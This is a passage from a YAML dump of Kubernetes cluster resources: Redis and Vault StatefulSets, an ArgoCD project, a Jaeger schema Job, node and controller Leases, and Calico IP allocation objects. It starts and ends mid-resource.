          - mountPath: /opt/bitnami/scripts/start-scripts
            name: start-scripts
          - mountPath: /health
            name: health
          - mountPath: /opt/bitnami/redis/secrets/
            name: redis-password
          - mountPath: /data
            name: redis-data
          - mountPath: /opt/bitnami/redis/mounted-etc
            name: config
          - mountPath: /opt/bitnami/redis/etc/
            name: empty-dir
            subPath: app-conf-dir
          - mountPath: /tmp
            name: empty-dir
            subPath: tmp-dir
        dnsPolicy: ClusterFirst
        enableServiceLinks: true
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          fsGroup: 1001
          fsGroupChangePolicy: Always
        serviceAccount: redis-master
        serviceAccountName: redis-master
        terminationGracePeriodSeconds: 30
        volumes:
        - configMap:
            defaultMode: 493
            name: redis-scripts
          name: start-scripts
        - configMap:
            defaultMode: 493
            name: redis-health
          name: health
        - name: redis-password
          secret:
            defaultMode: 420
            items:
            - key: redis-password
              path: redis-password
            secretName: redis
        - configMap:
            defaultMode: 420
            name: redis-configuration
          name: config
        - emptyDir: {}
          name: empty-dir
    updateStrategy:
      type: RollingUpdate
    volumeClaimTemplates:
    - apiVersion: v1
      kind: PersistentVolumeClaim
      metadata:
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: master
          app.kubernetes.io/instance: redis
          app.kubernetes.io/name: redis
        name: redis-data
      spec:
        accessModes:
        - ReadWriteOnce
        resources:
          requests:
            storage: 8Gi
        volumeMode: Filesystem
      status:
        phase: Pending
  status:
    availableReplicas: 1
    collisionCount: 0
    currentReplicas: 1
    currentRevision: redis-master-5bfd46c97d
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updateRevision: redis-master-5bfd46c97d
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: StatefulSet
  metadata:
    annotations:
      meta.helm.sh/release-name: redis
      meta.helm.sh/release-namespace: redis
    creationTimestamp: "2025-10-19T11:15:44Z"
    generation: 1
    labels:
      app.kubernetes.io/component: replica
      app.kubernetes.io/instance: redis
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: redis
      app.kubernetes.io/version: 8.2.2
      helm.sh/chart: redis-23.1.3
    name: redis-replicas
    namespace: redis
    resourceVersion: "18046500"
    uid: 3d28299e-55d8-43fc-9661-000a25f0bf64
  spec:
    persistentVolumeClaimRetentionPolicy:
      whenDeleted: Retain
      whenScaled: Retain
    podManagementPolicy: OrderedReady
    replicas: 3
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app.kubernetes.io/component: replica
        app.kubernetes.io/instance: redis
        app.kubernetes.io/name: redis
    serviceName: redis-headless
    template:
      metadata:
        annotations:
          checksum/configmap: 95944ee35a19af37cefd156f19d93e157e578c1dc63ac01ce735ae93090b7580
          checksum/health: aff24913d801436ea469d8d374b2ddb3ec4c43ee7ab24663d5f8ff1a1b6991a9
          checksum/scripts: b4230d7912970032380858b68faf87b6171144b993066fe53c7a324fadf43b36
          checksum/secret: f22ab0f12d1b1d837da6d8da4b2d91e66e99c4b0ed0b3c1c78bd6ab2ca8c3824
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: replica
          app.kubernetes.io/instance: redis
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: redis
          app.kubernetes.io/version: 8.2.2
          helm.sh/chart: redis-23.1.3
      spec:
        affinity:
          podAntiAffinity:
            preferredDuringSchedulingIgnoredDuringExecution:
            - podAffinityTerm:
                labelSelector:
                  matchLabels:
                    app.kubernetes.io/component: replica
                    app.kubernetes.io/instance: redis
                    app.kubernetes.io/name: redis
                topologyKey: kubernetes.io/hostname
              weight: 1
        automountServiceAccountToken: false
        containers:
        - args:
          - -ec
          - /opt/bitnami/scripts/start-scripts/start-replica.sh
          command:
          - /bin/bash
          env:
          - name: BITNAMI_DEBUG
            value: "false"
          - name: REDIS_REPLICATION_MODE
            value: replica
          - name: REDIS_MASTER_HOST
            value: redis-master-0.redis-headless.redis.svc.cluster.local
          - name: REDIS_MASTER_PORT_NUMBER
            value: "6379"
          - name: ALLOW_EMPTY_PASSWORD
            value: "no"
          - name: REDIS_PASSWORD_FILE
            value: /opt/bitnami/redis/secrets/redis-password
          - name: REDIS_MASTER_PASSWORD_FILE
            value: /opt/bitnami/redis/secrets/redis-password
          - name: REDIS_TLS_ENABLED
            value: "no"
          - name: REDIS_PORT
            value: "6379"
          image: registry-1.docker.io/bitnami/redis:latest
          imagePullPolicy: IfNotPresent
          livenessProbe:
            exec:
              command:
              - /bin/bash
              - -ec
              - /health/ping_liveness_local_and_master.sh 5
            failureThreshold: 5
            initialDelaySeconds: 20
            periodSeconds: 5
            successThreshold: 1
            timeoutSeconds: 6
          name: redis
          ports:
          - containerPort: 6379
            name: redis
            protocol: TCP
          readinessProbe:
            exec:
              command:
              - /bin/bash
              - -ec
              - /health/ping_readiness_local_and_master.sh 1
            failureThreshold: 5
            initialDelaySeconds: 20
            periodSeconds: 5
            successThreshold: 1
            timeoutSeconds: 2
          resources:
            limits:
              cpu: 150m
              ephemeral-storage: 2Gi
              memory: 192Mi
            requests:
              cpu: 100m
              ephemeral-storage: 50Mi
              memory: 128Mi
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
            runAsGroup: 1001
            runAsNonRoot: true
            runAsUser: 1001
            seLinuxOptions: {}
            seccompProfile:
              type: RuntimeDefault
          startupProbe:
            failureThreshold: 22
            initialDelaySeconds: 10
            periodSeconds: 10
            successThreshold: 1
            tcpSocket:
              port: redis
            timeoutSeconds: 5
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /opt/bitnami/scripts/start-scripts
            name: start-scripts
          - mountPath: /health
            name: health
          - mountPath: /opt/bitnami/redis/secrets/
            name: redis-password
          - mountPath: /data
            name: redis-data
          - mountPath: /opt/bitnami/redis/mounted-etc
            name: config
          - mountPath: /opt/bitnami/redis/etc
            name: empty-dir
            subPath: app-conf-dir
          - mountPath: /tmp
            name: empty-dir
            subPath: tmp-dir
        dnsPolicy: ClusterFirst
        enableServiceLinks: true
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          fsGroup: 1001
          fsGroupChangePolicy: Always
        serviceAccount: redis-replica
        serviceAccountName: redis-replica
        terminationGracePeriodSeconds: 30
        volumes:
        - configMap:
            defaultMode: 493
            name: redis-scripts
          name: start-scripts
        - configMap:
            defaultMode: 493
            name: redis-health
          name: health
        - name: redis-password
          secret:
            defaultMode: 420
            items:
            - key: redis-password
              path: redis-password
            secretName: redis
        - configMap:
            defaultMode: 420
            name: redis-configuration
          name: config
        - emptyDir: {}
          name: empty-dir
    updateStrategy:
      type: RollingUpdate
    volumeClaimTemplates:
    - apiVersion: v1
      kind: PersistentVolumeClaim
      metadata:
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: replica
          app.kubernetes.io/instance: redis
          app.kubernetes.io/name: redis
        name: redis-data
      spec:
        accessModes:
        - ReadWriteOnce
        resources:
          requests:
            storage: 8Gi
        volumeMode: Filesystem
      status:
        phase: Pending
  status:
    availableReplicas: 3
    collisionCount: 0
    currentReplicas: 3
    currentRevision: redis-replicas-85686886bc
    observedGeneration: 1
    readyReplicas: 3
    replicas: 3
    updateRevision: redis-replicas-85686886bc
    updatedReplicas: 3
- apiVersion: apps/v1
  kind: StatefulSet
  metadata:
    annotations:
      meta.helm.sh/release-name: vault
      meta.helm.sh/release-namespace: vault
    creationTimestamp: "2025-09-22T18:24:00Z"
    generation: 1
    labels:
      app.kubernetes.io/instance: vault
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: vault
    name: vault
    namespace: vault
    resourceVersion: "17747507"
    uid: 230a23a3-97d6-4d60-a5ac-a24c909f43e0
  spec:
    persistentVolumeClaimRetentionPolicy:
      whenDeleted: Retain
      whenScaled: Retain
    podManagementPolicy: Parallel
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app.kubernetes.io/instance: vault
        app.kubernetes.io/name: vault
        component: server
    serviceName: vault-internal
    template:
      metadata:
        creationTimestamp: null
        labels:
          app.kubernetes.io/instance: vault
          app.kubernetes.io/name: vault
          component: server
          helm.sh/chart: vault-0.30.1
      spec:
        affinity:
          podAntiAffinity:
            requiredDuringSchedulingIgnoredDuringExecution:
            - labelSelector:
                matchLabels:
                  app.kubernetes.io/instance: vault
                  app.kubernetes.io/name: vault
                  component: server
              topologyKey: kubernetes.io/hostname
        containers:
        - args:
          - "cp /vault/config/extraconfig-from-values.hcl /tmp/storageconfig.hcl;\n[
            -n \"${HOST_IP}\" ] && sed -Ei \"s|HOST_IP|${HOST_IP?}|g\" /tmp/storageconfig.hcl;\n[
            -n \"${POD_IP}\" ] && sed -Ei \"s|POD_IP|${POD_IP?}|g\" /tmp/storageconfig.hcl;\n[
            -n \"${HOSTNAME}\" ] && sed -Ei \"s|HOSTNAME|${HOSTNAME?}|g\" /tmp/storageconfig.hcl;\n[
            -n \"${API_ADDR}\" ] && sed -Ei \"s|API_ADDR|${API_ADDR?}|g\" /tmp/storageconfig.hcl;\n[
            -n \"${TRANSIT_ADDR}\" ] && sed -Ei \"s|TRANSIT_ADDR|${TRANSIT_ADDR?}|g\"
            /tmp/storageconfig.hcl;\n[ -n \"${RAFT_ADDR}\" ] && sed -Ei \"s|RAFT_ADDR|${RAFT_ADDR?}|g\"
            /tmp/storageconfig.hcl;\n/usr/local/bin/docker-entrypoint.sh vault server
            -config=/tmp/storageconfig.hcl \n"
          command:
          - /bin/sh
          - -ec
          env:
          - name: HOST_IP
            valueFrom:
              fieldRef:
                apiVersion: v1
                fieldPath: status.hostIP
          - name: POD_IP
            valueFrom:
              fieldRef:
                apiVersion: v1
                fieldPath: status.podIP
          - name: VAULT_K8S_POD_NAME
            valueFrom:
              fieldRef:
                apiVersion: v1
                fieldPath: metadata.name
          - name: VAULT_K8S_NAMESPACE
            valueFrom:
              fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
          - name: VAULT_ADDR
            value: http://127.0.0.1:8200
          - name: VAULT_API_ADDR
            value: http://$(POD_IP):8200
          - name: SKIP_CHOWN
            value: "true"
          - name: SKIP_SETCAP
            value: "true"
          - name: HOSTNAME
            valueFrom:
              fieldRef:
                apiVersion: v1
                fieldPath: metadata.name
          - name: VAULT_CLUSTER_ADDR
            value: https://$(HOSTNAME).vault-internal:8201
          - name: HOME
            value: /home/vault
          image: hashicorp/vault:1.20.1
          imagePullPolicy: IfNotPresent
          lifecycle:
            preStop:
              exec:
                command:
                - /bin/sh
                - -c
                - sleep 5 && kill -SIGTERM $(pidof vault)
          name: vault
          ports:
          - containerPort: 8200
            name: http
            protocol: TCP
          - containerPort: 8201
            name: https-internal
            protocol: TCP
          - containerPort: 8202
            name: http-rep
            protocol: TCP
          readinessProbe:
            exec:
              command:
              - /bin/sh
              - -ec
              - vault status -tls-skip-verify
            failureThreshold: 2
            initialDelaySeconds: 5
            periodSeconds: 5
            successThreshold: 1
            timeoutSeconds: 3
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /vault/config
            name: config
          - mountPath: /home/vault
            name: home
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          fsGroup: 1000
          runAsGroup: 1000
          runAsNonRoot: true
          runAsUser: 100
        serviceAccount: vault
        serviceAccountName: vault
        terminationGracePeriodSeconds: 10
        volumes:
        - configMap:
            defaultMode: 420
            name: vault-config
          name: config
        - emptyDir: {}
          name: home
    updateStrategy:
      type: OnDelete
  status:
    availableReplicas: 0
    collisionCount: 0
    currentReplicas: 1
    currentRevision: vault-fcf87dff6
    observedGeneration: 1
    replicas: 1
    updateRevision: vault-fcf87dff6
    updatedReplicas: 1
- apiVersion: argoproj.io/v1alpha1
  kind: AppProject
  metadata:
    creationTimestamp: "2025-09-21T20:15:28Z"
    generation: 1
    name: default
    namespace: argocd
    resourceVersion: "75190"
    uid: da0dffd2-ac89-4b14-919d-8754ea97635b
  spec:
    clusterResourceWhitelist:
    - group: '*'
      kind: '*'
    destinations:
    - namespace: '*'
      server: '*'
    sourceRepos:
    - '*'
  status: {}
- apiVersion: batch/v1
  kind: Job
  metadata:
    annotations:
      meta.helm.sh/release-name: jaeger
      meta.helm.sh/release-namespace: jaeger
    creationTimestamp: "2025-10-19T15:15:44Z"
    generation: 1
    labels:
      app.kubernetes.io/component: cassandra-schema
      app.kubernetes.io/instance: jaeger
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: jaeger
      app.kubernetes.io/version: 1.53.0
      helm.sh/chart: jaeger-3.4.1
    name: jaeger-cassandra-schema
    namespace: jaeger
    resourceVersion: "6811261"
    uid: 632b6abc-eb8a-4a07-a259-48e26a000d70
  spec:
    activeDeadlineSeconds: 300
    backoffLimit: 6
    completionMode: NonIndexed
    completions: 1
    manualSelector: false
    parallelism: 1
    podReplacementPolicy: TerminatingOrFailed
    selector:
      matchLabels:
        batch.kubernetes.io/controller-uid: 632b6abc-eb8a-4a07-a259-48e26a000d70
    suspend: false
    template:
      metadata:
        creationTimestamp: null
        labels:
          batch.kubernetes.io/controller-uid: 632b6abc-eb8a-4a07-a259-48e26a000d70
          batch.kubernetes.io/job-name: jaeger-cassandra-schema
          controller-uid: 632b6abc-eb8a-4a07-a259-48e26a000d70
          job-name: jaeger-cassandra-schema
        name: jaeger-cassandra-schema
      spec:
        containers:
        - env:
          - name: CASSANDRA_SERVERS
            value: jaeger-cassandra
          - name: CASSANDRA_PORT
            value: "9042"
          - name: CASSANDRA_KEYSPACE
            value: jaeger_v1_test
          - name: CASSANDRA_USERNAME
            value: user
          - name: CASSANDRA_PASSWORD
            valueFrom:
              secretKeyRef:
                key: password
                name: jaeger-cassandra
          - name: CQLSH_HOST
            value: jaeger-cassandra
          - name: DATACENTER
            value: dc1
          - name: KEYSPACE
            value: jaeger_v1_test
          image: jaegertracing/jaeger-cassandra-schema:1.53.0
          imagePullPolicy: IfNotPresent
          name: jaeger-cassandra-schema
          resources: {}
          securityContext: {}
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
        dnsPolicy: ClusterFirst
        restartPolicy: OnFailure
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: jaeger-cassandra-schema
        serviceAccountName: jaeger-cassandra-schema
        terminationGracePeriodSeconds: 30
  status:
    completionTime: "2025-10-19T15:18:20Z"
    conditions:
    - lastProbeTime: "2025-10-19T15:18:20Z"
      lastTransitionTime: "2025-10-19T15:18:20Z"
      message: Reached expected number of succeeded pods
      reason: CompletionsReached
      status: "True"
      type: SuccessCriteriaMet
    - lastProbeTime: "2025-10-19T15:18:20Z"
      lastTransitionTime: "2025-10-19T15:18:20Z"
      message: Reached expected number of succeeded pods
      reason: CompletionsReached
      status: "True"
      type: Complete
    ready: 0
    startTime: "2025-10-19T15:15:44Z"
    succeeded: 1
    terminating: 0
    uncountedTerminatedPods: {}
- apiVersion: coordination.k8s.io/v1
  kind: Lease
  metadata:
    creationTimestamp: "2025-09-21T19:03:53Z"
    name: ingress-nginx-leader
    namespace: ingress-nginx
    resourceVersion: "18062548"
    uid: e364af40-8f6a-477e-b706-e44177ec8adb
  spec:
    acquireTime: "2025-10-18T01:15:15.022078Z"
    holderIdentity: ingress-nginx-controller-6b96cf684f-tfftb
    leaseDurationSeconds: 30
    leaseTransitions: 1
    renewTime: "2025-11-29T15:49:59.029124Z"
- apiVersion: coordination.k8s.io/v1
  kind: Lease
  metadata:
    creationTimestamp: "2025-09-21T11:09:19Z"
    name: k8s-m-1
    namespace: kube-node-lease
    ownerReferences:
    - apiVersion: v1
      kind: Node
      name: k8s-m-1
      uid: 0434bec2-2cdd-40cf-be92-8aa574512d57
    resourceVersion: "18062542"
    uid: 2a4a5a10-3600-4767-a93b-825a6bdb60f7
  spec:
    holderIdentity: k8s-m-1
    leaseDurationSeconds: 40
    renewTime: "2025-11-29T15:49:57.368589Z"
- apiVersion: coordination.k8s.io/v1
  kind: Lease
  metadata:
    creationTimestamp: "2025-09-21T11:16:37Z"
    name: k8s-m-2
    namespace: kube-node-lease
    ownerReferences:
    - apiVersion: v1
      kind: Node
      name: k8s-m-2
      uid: febaead2-efbe-4419-9e77-b195397e2090
    resourceVersion: "18062549"
    uid: 3521116f-7554-4f18-8e6f-2b3a4a56ea07
  spec:
    holderIdentity: k8s-m-2
    leaseDurationSeconds: 40
    renewTime: "2025-11-29T15:49:59.553850Z"
- apiVersion: coordination.k8s.io/v1
  kind: Lease
  metadata:
    creationTimestamp: "2025-09-21T11:18:17Z"
    name: k8s-m-3
    namespace: kube-node-lease
    ownerReferences:
    - apiVersion: v1
      kind: Node
      name: k8s-m-3
      uid: e9941774-8efa-42ec-abc7-595360d866d1
    resourceVersion: "18062529"
    uid: 37fa1e4d-10c8-4a24-943c-c0e2420809b3
  spec:
    holderIdentity: k8s-m-3
    leaseDurationSeconds: 40
    renewTime: "2025-11-29T15:49:52.634335Z"
- apiVersion: coordination.k8s.io/v1
  kind: Lease
  metadata:
    creationTimestamp: "2025-10-10T23:28:43Z"
    labels:
      apiserver.kubernetes.io/identity: kube-apiserver
      kubernetes.io/hostname: k8s-m-2
    name: apiserver-6nbtdqxyxlr6bxcop732qxbqti
    namespace: kube-system
    resourceVersion: "18062524"
    uid: 9e3d6185-2f38-4cc5-a51d-5f1e2d4f9595
  spec:
    holderIdentity: apiserver-6nbtdqxyxlr6bxcop732qxbqti_814d72cf-8624-48a5-8064-8c821861acf7
    leaseDurationSeconds: 3600
    renewTime: "2025-11-29T15:49:51.635939Z"
- apiVersion: coordination.k8s.io/v1
  kind: Lease
  metadata:
    creationTimestamp: "2025-10-10T23:29:54Z"
    labels:
      apiserver.kubernetes.io/identity: kube-apiserver
      kubernetes.io/hostname: k8s-m-3
    name: apiserver-q6uwuub3l4lg7bfb7i2nsaejta
    namespace: kube-system
    resourceVersion: "18062536"
    uid: feed1340-5506-4513-b4fa-0c3be8360c8c
  spec:
    holderIdentity: apiserver-q6uwuub3l4lg7bfb7i2nsaejta_193ccdad-a694-4f5b-93cc-8462ee00fa3a
    leaseDurationSeconds: 3600
    renewTime: "2025-11-29T15:49:54.789533Z"
- apiVersion: coordination.k8s.io/v1
  kind: Lease
  metadata:
    creationTimestamp: "2025-10-09T21:13:48Z"
    labels:
      apiserver.kubernetes.io/identity: kube-apiserver
      kubernetes.io/hostname: k8s-m-1
    name: apiserver-s5pxhhfmlsrxmxofz33pru3ba4
    namespace: kube-system
    resourceVersion: "18062543"
    uid: a5eea850-6075-4453-af12-c49f9eedf7d2
  spec:
    holderIdentity: apiserver-s5pxhhfmlsrxmxofz33pru3ba4_1c6c0947-2e6c-44ce-a213-50b497354bfa
    leaseDurationSeconds: 3600
    renewTime: "2025-11-29T15:49:57.771583Z"
- apiVersion: coordination.k8s.io/v1
  kind: Lease
  metadata:
    creationTimestamp: "2025-09-22T13:18:35Z"
    name: cert-manager-cainjector-leader-election
    namespace: kube-system
    resourceVersion: "18062531"
    uid: e1f2a51c-cc87-4d4f-ac16-db2b2addacc1
  spec:
    acquireTime: "2025-11-29T14:27:04.262240Z"
    holderIdentity: cert-manager-cainjector-55cd9f77b5-7cj29_4ef69424-7935-4189-a37d-c107bd50eb0e
    leaseDurationSeconds: 60
    leaseTransitions: 11
    renewTime: "2025-11-29T15:49:53.875715Z"
- apiVersion: coordination.k8s.io/v1
  kind: Lease
  metadata:
    creationTimestamp: "2025-09-22T13:18:34Z"
    name: cert-manager-controller
    namespace: kube-system
    resourceVersion: "18062521"
    uid: 05513afb-3944-4114-a068-95c43d3b2a99
  spec:
    acquireTime: "2025-11-28T12:27:52.083401Z"
    holderIdentity: cert-manager-58dd99f969-n4w2f-external-cert-manager-controller
    leaseDurationSeconds: 60
    leaseTransitions: 5
    renewTime: "2025-11-29T15:49:51.178446Z"
- apiVersion: coordination.k8s.io/v1
  kind: Lease
  metadata:
    creationTimestamp: "2025-09-21T11:09:19Z"
    name: kube-controller-manager
    namespace: kube-system
    resourceVersion: "18062544"
    uid: d81ae8eb-7596-478d-823d-ecedaf86665e
  spec:
    acquireTime: "2025-11-29T14:22:34.307514Z"
    holderIdentity: k8s-m-1_98b13d6e-8c39-44f4-99a6-78cc8cf5cc5d
    leaseDurationSeconds: 15
    leaseTransitions: 17
    renewTime: "2025-11-29T15:49:58.302694Z"
- apiVersion: coordination.k8s.io/v1
  kind: Lease
  metadata:
    creationTimestamp: "2025-09-21T11:09:20Z"
    name: kube-scheduler
    namespace: kube-system
    resourceVersion: "18062545"
    uid: 628ae7da-c8a6-4c05-b30b-aea90284b79e
  spec:
    acquireTime: "2025-11-29T14:22:37.367148Z"
    holderIdentity: k8s-m-1_1be82fbd-64f1-4c54-a181-9818202ee11a
    leaseDurationSeconds: 15
    leaseTransitions: 15
    renewTime: "2025-11-29T15:49:58.303471Z"
- apiVersion: coordination.k8s.io/v1
  kind: Lease
  metadata:
    creationTimestamp: "2025-10-19T16:11:38Z"
    name: operator-lock
    namespace: tigera-operator
    resourceVersion: "18062547"
    uid: 090ecb3f-b138-44d4-be99-694cf21ff967
  spec:
    acquireTime: "2025-11-29T14:25:06.794895Z"
    holderIdentity: k8s-m-3_21097731-4b98-45d6-8849-82c100d2e490
    leaseDurationSeconds: 15
    leaseTransitions: 14
    renewTime: "2025-11-29T15:49:58.484942Z"
- apiVersion: crd.projectcalico.org/v1
  kind: BlockAffinity
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-09-21T11:09:59Z"
    generation: 2
    name: k8s-m-1-192-168-133-128-26
    resourceVersion: "605"
    uid: 73578b4a-9a0a-468f-9a4b-f7dc0b72417a
  spec:
    cidr: 192.168.133.128/26
    deleted: "false"
    node: k8s-m-1
    state: confirmed
    type: host
- apiVersion: crd.projectcalico.org/v1
  kind: BlockAffinity
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-09-21T11:17:14Z"
    generation: 2
    name: k8s-m-2-192-168-61-192-26
    resourceVersion: "1309"
    uid: 9b2ba0b3-39d8-48cd-8524-36da4b8e61c8
  spec:
    cidr: 192.168.61.192/26
    deleted: "false"
    node: k8s-m-2
    state: confirmed
    type: host
- apiVersion: crd.projectcalico.org/v1
  kind: BlockAffinity
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-09-21T11:19:08Z"
    generation: 2
    name: k8s-m-3-192-168-34-0-26
    resourceVersion: "1589"
    uid: 413ecf54-9649-4865-ac83-33dea8df2064
  spec:
    cidr: 192.168.34.0/26
    deleted: "false"
    node: k8s-m-3
    state: confirmed
    type: host
- apiVersion: crd.projectcalico.org/v1
  kind: ClusterInformation
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":"2025-09-21T11:09:59Z"}'
    creationTimestamp: "2025-09-21T11:09:59Z"
    generation: 6
    name: default
    resourceVersion: "6823610"
    uid: 68f31597-6926-48a9-a584-274e4157b320
  spec:
    calicoVersion: v3.30.4
    clusterGUID: 4340eeee73184b3e9a0bb5daa080f23d
    clusterType: k8s,bgp,kubeadm,kdd,typha,operator
    datastoreReady: true
- apiVersion: crd.projectcalico.org/v1
  kind: FelixConfiguration
  metadata:
    annotations:
      operator.tigera.io/bpfEnabled: "false"
      projectcalico.org/metadata: '{"creationTimestamp":"2025-09-21T11:09:59Z"}'
    creationTimestamp: "2025-09-21T11:09:59Z"
    generation: 3
    name: default
    resourceVersion: "6825968"
    uid: 9996d4ac-c235-41f1-a0ae-12ad845d6e1d
  spec:
    bpfConnectTimeLoadBalancing: TCP
    bpfEnabled: false
    bpfHostNetworkedNATWithoutCTLB: Enabled
    bpfLogLevel: ""
    floatingIPs: Disabled
    healthPort: 9099
    logSeverityScreen: Info
    nftablesMode: Disabled
    reportingInterval: 0s
    vxlanVNI: 4096
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMBlock
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-09-21T11:09:59Z"
    generation: 354
    name: 192-168-133-128-26
    resourceVersion: "18007781"
    uid: 20be796d-6997-4600-b9eb-22974b1a8282
  spec:
    affinity: host:k8s-m-1
    allocations:
    - 0
    - 10
    - 9
    - 15
    - 8
    - 18
    - 11
    - null
    - 17
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - 1
    - null
    - null
    - null
    - null
    - 3
    - null
    - null
    - null
    - null
    - null
    - 4
    - null
    - null
    - 2
    - null
    - null
    - null
    - null
    - null
    - null
    - 5
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - 16
    - 12
    - 14
    - null
    - null
    - null
    - null
    - 13
    - 7
    - null
    - null
    - 6
    - null
    attributes:
    - handle_id: ipip-tunnel-addr-k8s-m-1
      secondary:
        node: k8s-m-1
        type: ipipTunnelAddress
    - handle_id: k8s-pod-network.d14ab466cc29fa4766436a0817fd0f7039becfe2d190e60a90b48e9152b99db8
      secondary:
        namespace: jaeger
        node: k8s-m-1
        pod: jaeger-collector-5b674d4987-h2655
        timestamp: 2025-11-29 11:13:07.766190571 +0000 UTC
    - handle_id: k8s-pod-network.8848dab14a5ee5f3040dd972efadca08700422e01c040478f014d9a987ea22f0
      secondary:
        namespace: cert-manager
        node: k8s-m-1
        pod: cert-manager-webhook-7987476d56-gsf9g
        timestamp: 2025-11-29 11:13:07.785176243 +0000 UTC
    - handle_id: k8s-pod-network.59018b57eb12b49322d44407951c5a8bfcc579d4ceb59d4cc839fe915b61cb63
      secondary:
        namespace: jaeger
        node: k8s-m-1
        pod: jaeger-query-699bddc747-pm4nn
        timestamp: 2025-11-29 11:13:09.469263891 +0000 UTC
    - handle_id: k8s-pod-network.e4e6c0b84111ff14ec47324a7e255c62c04a1e9f4faaaeb1664ebd5255247170
      secondary:
        namespace: kube-system
        node: k8s-m-1
        pod: coredns-674b8bbfcf-rh6tw
        timestamp: 2025-11-29 11:13:10.368649559 +0000 UTC
    - handle_id: k8s-pod-network.94e146f3e52ca0b130ea797a31b5d440b3ea86e5f8c71702b03f652e15170cd5
      secondary:
        namespace: metrics-server
        node: k8s-m-1
        pod: metrics-server-5dd7b49d79-fk9d8
        timestamp: 2025-11-29 11:13:10.622260949 +0000 UTC
    - handle_id: k8s-pod-network.435abdd8a2bb619837866ec699f1fd0555158e52cc30281a096524f9a38e272e
      secondary:
        namespace: vault
        node: k8s-m-1
        pod: vault-agent-injector-6ffc786d9f-8dntq
        timestamp: 2025-11-29 11:13:10.736208257 +0000 UTC
    - handle_id: k8s-pod-network.151a37523b1e1d93f5de299535683ae24835923e4d2ea00a8490fc1fe9e4ceed
      secondary:
        namespace: prometheus
        node: k8s-m-1
        pod: prometheus-community-prometheus-pushgateway-69cb7cfdbb-s5gqp
        timestamp: 2025-11-29 11:13:10.755887016 +0000 UTC
    - handle_id: k8s-pod-network.4c918e3576a941a564d0c951cef0a2a400a6c150472e5893ca78c95544d1ef9d
      secondary:
        namespace: kubernetes-dashboard
        node: k8s-m-1
        pod: kubernetes-dashboard-kong-648658d45f-qw2xv
        timestamp: 2025-11-29 11:13:12.004927754 +0000 UTC
    - handle_id: k8s-pod-network.783dc2572ce6248adfe92722d730f46062b6a3b8b7b5ecef4b34a755eda16bb9
      secondary:
        namespace: artemis
        node: k8s-m-1
        pod: artemis-wordpress-574d78556d-7zvkm
        timestamp: 2025-11-29 11:13:12.242564671 +0000 UTC
    - handle_id: k8s-pod-network.e7da772d6906275a84341e58c1573b11b5a3818e71ab76463256e8a4a4dd8bdc
      secondary:
        namespace: redis
        node: k8s-m-1
        pod: redis-replicas-1
        timestamp: 2025-11-29 11:13:12.484125247 +0000 UTC
    - handle_id: k8s-pod-network.51614435ad0efe35c5b8928493075dc9c1d324612b899fbc1bb20baed388f30a
      secondary:
        namespace: jaeger
        node: k8s-m-1
        pod: jaeger-agent-zv7dg
        timestamp: 2025-11-29 11:13:12.522136133 +0000 UTC
    - handle_id: k8s-pod-network.59e62c10d8fc9f820a84dab038336129005a5ade6f123c2dbf642054204a229d
      secondary:
        namespace: default
        node: k8s-m-1
        pod: nfs-subdir-external-provisioner-5545d686cd-hv7lv
        timestamp: 2025-11-29 11:13:12.544323352 +0000 UTC
    - handle_id: k8s-pod-network.ddaafb8d0fa1c177a907f443b22d1d3c4a6c59d5cba3be5ffc649a9f05fc704b
      secondary:
        namespace: jaeger
        node: k8s-m-1
        pod: jaeger-cassandra-1
        timestamp: 2025-11-29 11:13:12.684718433 +0000 UTC
    - handle_id: k8s-pod-network.c52954762d6a2d668e2df869e7e7c6b4279cdb1c9c5922e1de9be37630ea26cf
      secondary:
        namespace: argocd
        node: k8s-m-1
        pod: argocd-repo-server-5c6559d6cd-m74c8
        timestamp: 2025-11-29 11:13:13.006139292 +0000 UTC
    - handle_id: k8s-pod-network.5c8e66a80bcdf59cc11ce8f2a45e3651193b4584a0cdb2208a51bbde722c6614
      secondary:
        namespace: calico-system
        node: k8s-m-1
        pod: csi-node-driver-pqf6l
        timestamp: 2025-11-29 11:13:13.45937989 +0000 UTC
    - handle_id: k8s-pod-network.f0efe7c931784f37c68763f68092051512107b778093cc958bbbb5d4c8cd0756
      secondary:
        namespace: kubernetes-dashboard
        node: k8s-m-1
        pod: kubernetes-dashboard-metrics-scraper-547874fcf-ffmdz
        timestamp: 2025-11-29 11:13:13.605230116 +0000 UTC
    - handle_id: k8s-pod-network.1302eb2fe41bdfb638c062f62eb24564c57cec5d260f38d53c7e83b046020d60
      secondary:
        namespace: harbor
        node: k8s-m-1
        pod: harbor-database-0
